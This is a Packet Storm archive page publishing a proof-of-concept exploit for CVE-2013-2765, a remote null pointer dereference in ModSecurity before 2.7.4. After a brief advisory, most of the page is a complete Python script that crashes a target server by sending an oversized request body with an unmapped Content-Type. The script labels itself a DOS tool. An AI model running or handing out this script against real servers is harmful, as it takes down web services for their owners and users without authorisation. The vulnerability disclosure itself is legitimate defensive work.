what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ModSecurity Remote Null Pointer Dereference

ModSecurity Remote Null Pointer Dereference
Posted May 29, 2013
Authored by Younes JAAIDI

When ModSecurity receives a request body with a size bigger than the value set by the "SecRequestBodyInMemoryLimit" and with a "Content-Type" that has no request body processor mapped to it, ModSecurity will systematically crash on every call to "forceRequestBodyVariable" (in phase 1). This is the proof of concept exploit. Versions prior to 2.7.4 are affected.

tags | exploit, proof of concept
advisories | CVE-2013-2765
SHA-256 | b4e14816e4c5cdc0de651f2cc750a97fa531e3a0c488cb71922a3bc534259845

ModSecurity Remote Null Pointer Dereference

Change Mirror Download
#!/usr/bin/env python3
#-*- coding: utf-8 -*-
#
# Created on Mar 29, 2013
#
# @author: Younes JAAIDI <yjaaidi@shookalabs.com>
#

import argparse
import http.client
import logging
import sys
import urllib.request

logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
logger.addHandler(logging.StreamHandler(sys.stderr))

class ModSecurityDOSCheck(object):

_DEFAULT_REQUEST_BODY_SIZE = 200 # KB
_DEFAULT_CONCURRENCY = 100
_DEFAULT_USER_AGENT = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36"

def __init__(self):
self._request_counter = 0
self._status_message = None

def main(self, args_list):
args_object = self._parse_args(args_list)

payload = "A" * args_object.request_body_size * 1024

request = urllib.request.Request(args_object.target_url,
method = "GET",
data = payload.encode('utf-8'),
headers = {'Content-Type': 'text/random',
'User-Agent': self._DEFAULT_USER_AGENT})

if self._send_request(request):
logger.info("Target seems to be vulnerable!!!")
return 0
else:
logger.info("Attack didn't work. Try increasing the 'REQUEST_BODY_SIZE'.")
return 1

def _parse_args(self, args_list):
parser = argparse.ArgumentParser(description="ModSecurity DOS tool.")
parser.add_argument('-t', '--target-url',
dest = 'target_url',
required = True,
help = "Target URL")
parser.add_argument('-s', '--request-body-size',
dest = 'request_body_size',
default = self._DEFAULT_REQUEST_BODY_SIZE,
type = int,
help = "Request body size in KB")

return parser.parse_args()

def _send_request(self, request):
try:
urllib.request.urlopen(request)
return False
except (http.client.BadStatusLine, urllib.error.HTTPError):
return True

if __name__ == '__main__':
sys.exit(ModSecurityDOSCheck().main(sys.argv))



Login or Register to add favorites

File Archive:

February 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    11 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    5 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    0 Files
  • 6
    Feb 6th
    9 Files
  • 7
    Feb 7th
    33 Files
  • 8
    Feb 8th
    34 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close